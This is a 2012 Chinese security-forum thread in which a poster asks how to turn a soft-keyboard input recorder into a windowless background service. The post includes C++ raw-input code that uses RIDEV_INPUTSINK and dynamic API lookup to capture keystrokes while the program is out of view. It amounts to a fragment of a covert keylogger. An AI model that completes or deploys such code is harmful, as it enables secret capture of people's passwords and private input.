首页
社区
课程
招聘
[求助]软键盘记录
发表于: 2012-12-24 12:41 5674

[求助]软键盘记录

2012-12-24 12:41
5674
各位大牛们 我想要写一个能记录软键盘输入信息的程序,我现在找到一个 类似的,不过那个有界面,但是我想把自己的程序写成服务。要求无界面
例如为了从键盘获取原始输入,设置UsagePage = 1 and Usage = 6,应用程序调用RegisterRawInputDevice去注册这个设备。
  BOOL RegisitKeyBord(HWND hwnd)
{
   if(NULL == hwnd)
      return false;
   PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices");
   if(NULL == RegisterRawInputDevices)
      return false;
   RAWINPUTDEVICE rid;
   rid.usUsagePage = 0x01;
   rid.usUsage = 0x06;
   rid.dwFlags = RIDEV_INPUTSINK;
   rid.hwndTarget = hwnd;
   return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));
}

调用GetRawInputData来获取这些数据
case WM_INPUT:
     if(NULL == GetRawInputData)
     {
        DefWindowProc(hWnd, message, wParam, lParam);
        return 0;
     }      
     GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
     lpb = new BYTE[dwSize];
     if(lpb == NULL) 
     {
        DefWindowProc(hWnd, message, wParam, lParam);
        return 0;
     } 
     
     if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
        MessageBox(NULL, "GetRawInputData doesn't return correct size !", "Raw Input Test", 0);
     raw = (RAWINPUT*)lpb;
     if (raw->header.dwType == RIM_TYPEKEYBOARD) 
     {
      wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey))
     }
     delete[] lpb; 

请问要修改成 无界面的要怎么改

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 6937
活跃值: (2765)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我记得软键盘获取到点击的值后,还会进行一些运算,才传入给程序的。

这个获取的是软键盘的按键值?还是获取的软键盘输入后,经过处理,传入到程序里面的值?
2012-12-24 14:32
0
雪    币: 73
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
经过处理传入到 程序的值
2012-12-24 15:31
0
游客
登录 | 注册 方可回帖
返回
//